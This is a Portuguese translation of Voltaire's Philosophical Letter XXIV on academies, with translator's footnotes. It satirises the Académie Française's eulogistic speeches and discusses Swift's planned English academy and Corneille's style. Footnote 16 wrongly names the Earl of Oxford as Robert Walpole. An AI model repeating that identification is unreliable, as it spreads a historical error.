Sobre as Academias – Carta Filosófica de Voltaire

<h2 class="titulo" Cartas Filosóficas de Voltaire

CARTA XXIV

Sobre as Academias

O famoso doutor Swift14 formulou o desejo, nos últimos anos do reinado da rainha Ana 15, de fundar urna academia para o idioma, a exemplo da Academia Francesa. O projecto contava com o apoio do conde de Oxford 16, tesoureiro-mor, e do visconde Bolingbroke, secretário de Estado, que tinha o dom de falar de improviso no Parlamento com a mesma pureza com que Swift escrevia no seu gabinete, e que seria o protector e o ornamento dessa academia. Os membros que deviam compô-la eram homens cujas obras durarão tanto quanto a língua inglesa. Eram eles o doutor Swift, Prior 17, a quem vimos aqui como ministro plenipotenciário e que desfruta na Inglaterra a mesma reputação que La Fontaine entre nós; Pope, o Boileau da Inglaterra; Congrève, comparável a Moliere, e vários outros cujos nomes me escapam agora. Todos eles teriam feito florir essa associação desde o início. Mas a rainha morreu subitamente, e os whigs meteram na cabeça a ideia de mandar enforcar os protectores da academia, o que, como todos sabem, foi fatal para as belas-letras.

Os membros dessa corporação teriam levado grande vantagem sobre os primeiros componentes da Academia Francesa, pois Swift, Prior, Congrève, Dryden, Pope, Addison haviam fixado a língua inglesa com seus escritos, ao passo que Chapelain, Colletet, Cassaigne, Faret, Perrin, Cotin, nossos primeiros académicos, eram a vergonha da nação, e seus nomes tornaram-se tão ridículos que, se algum autor sofrível tivesse a infelicidade de chamar-se Chapelain ou Cotin, seria obrigado a trocar de nome. Teria sido necessário, sobretudo, que a projectada academia inglesa se propusesse a ocupações inteiramente diferentes das nossas. Certo dia, um indivíduo culto desse país perguntou-me pelas memórias da Academia Francesa. "Ela não escreve memórias, — respondi-lhe — mas fez imprimir sessenta ou oitenta volumes de discursos laudatorios". O meu amigo percorreu um ou dois desses discursos e não pôde, de maneira alguma, entender-lhe a linguagem, embora entenda perfeitamente os nossos bons autores. "Tudo que percebo nestes belos discursos — disse-me ele — é que o recipiendario, tendo assegurado que o seu predecessor era um grande homem, o cardeal Richelieu um muito grande homem, o chanceler Séguier um perfeito grande homem, Luís XIV maior homem ainda, o presidente respondeu-lhe a mesma coisa, acrescentando que o recipiendario também podia ser um grande homem e que, quanto a ele, presidente, não dispensava igualmente o seu quinhão".

É fácil ver por que fatalidade quase todos esses discursos emprestaram tão pouco mérito à instituição; vitium est temporis potius quam hominis18. Estabeleceu-se, insensivelmente, o costume de todo académico repetir tais elogios à sua recepção. É uma espécie de lei de aborrecer o público. Se procurarmos a razão pela qual os maiores génios recebidos nessa instituição fizeram, por vezes, as piores arengas, concluiremos logo: foi por quererem brilhar, por pretenderem tratar de maneira nova assunto já muito batido. A necessidade de falar, o embaraço de não ter nada a dizer e o desejo de revelar espírito, são três coisas capazes de tornar ridículo mesmo o maior dos homens. Não podendo encontrar pensamentos novos, buscaram novos torneados e falaram sem pensar, como as pessoas que mastigam sem nada na boca, dando a impressão de estarem comendo alguma coisa, quando, na realidade, morrem de inanição.

Em lugar de ser lei na Academia Francesa imprimir todos esses discursos, só pelos quais ela se tornou conhecida, devia ser lei ali não imprimi-los.

A Academia das Belas-Letras propôs-se a um fim mais útil: o de apresentar ao público uma compilação de memórias repletas de perquirições e de críticas curiosas. Essas memórias já são bastante apreciadas no estrangeiro.

A Academia de Ciências, nas suas pesquisas mais difíceis e de utilidade mais sensível, abrange o conhecimento da natureza e a perfeição das artes. É de crer-se que estudos tão profundos e tão persistentes, cálculos tão exactos, descobertas tão penetrantes, visão tão ampla, produzam, afinal, alguma coisa capaz de servir ao bem do universo…

Quanto à Academia Francesa, que serviço não prestaria às letras, à língua e à nação se, em lugar de mandar imprimir todos os anos esses laudatorios, mandasse imprimir as boas obras do século de Luís XIV, depuradas de todos os erros de linguagem que ali escaparam? Corneille e Moliere deles estão cheios; em La Fontaine formigam. Os que não pudessem ser corrigidos, que fossem pelo menos assinalados. A Europa, lendo esses autores, aprenderia neles nossa língua, com segurança; e a pureza do idioma seria para sempre fixada. Os bons livros franceses impressos às expensas do soberano seriam um dos mais gloriosos monumentos à nação. Ouvi dizer que Despréaux fez outrora essa proposta, renovada por um homem cujo espírito, sabedoria e senso crítico são bem conhecidos; mas a ideia teve a sorte de outros projectos úteis: foi aprovada e depois esquecida.

Coisa bastante singular é o que se verifica com relação a Corneille: depois de haver escrito com muita pureza e elegância as primeiras de suas boas tragédias, quando a língua começava a fixar-se, escreveu todas as outras incorrectamente e em estilo chão, precisamente no tempo em que Racine dava ao idioma tanta pureza, verdadeira nobreza e graça; no tempo em que Despréaux o fixava pela exactidão mais rigorosa, pela precisão, força e harmonia. Compare-se a Berenice de Racine com a de Corneille, e parecerá que este é do tempo de Tristão. Tem-se a impressão que Corneille negligenciara o estilo à medida que mais necessidade tinha de apurá-lo, experimentando apenas o estímulo de escrever, em lugar do estímulo de escrever bem. Não somente suas doze ou treze últimas tragédias são más, como o estilo é péssimo. E o que é ainda mais estranho: em nossa própria época temos tido peças de teatro, obras em prosa e em poesia, compostas por académicos que negligenciaram a língua a ponto de não encontrar-se nelas dez versos ou dez linhas seguidas, que não contenham algum barbarismo. Pode-se ser um. bom autor com algumas faltas, mas não com faltas em demasia. Certa feita, uma associação de intelectuais esclarecidos contou mais de seiscentos solecismos intoleráveis numa tragédia que havia alcançado grande sucesso em Paris e agradado sobremaneira à corte. Dois ou três outros sucessos como esse bastariam para corromper irremediavelmente a língua e fazê-la recair na antiga barbaria, de onde a aplicação assídua de tantos grandes homens a tiraram.

Notas

14 Jonathan Swift (1667-1745), escritor satírico, autor das Viagens de Gulliver. Swift foi cognominado o Rabelais da Inglaterra e exerceu certa influência sobre Voltaire.
15 Ana Stuart, filha de Jaime II e cujo reinado ficou assinalado tanto pelas vitórias de Marlborough, como pelas obras de grande número de escritores.
16 Robert Walpole.
17 Filho de um marceneiro de Londres e que se tornou mais conhecido como diplomata que como poeta.
18 "A culpa é mais do tempo do que do homem" (Séneca).

Fonte: VOLTAIRE. Clássicos Jackson vol XXII. Tradução de Brito Broca.

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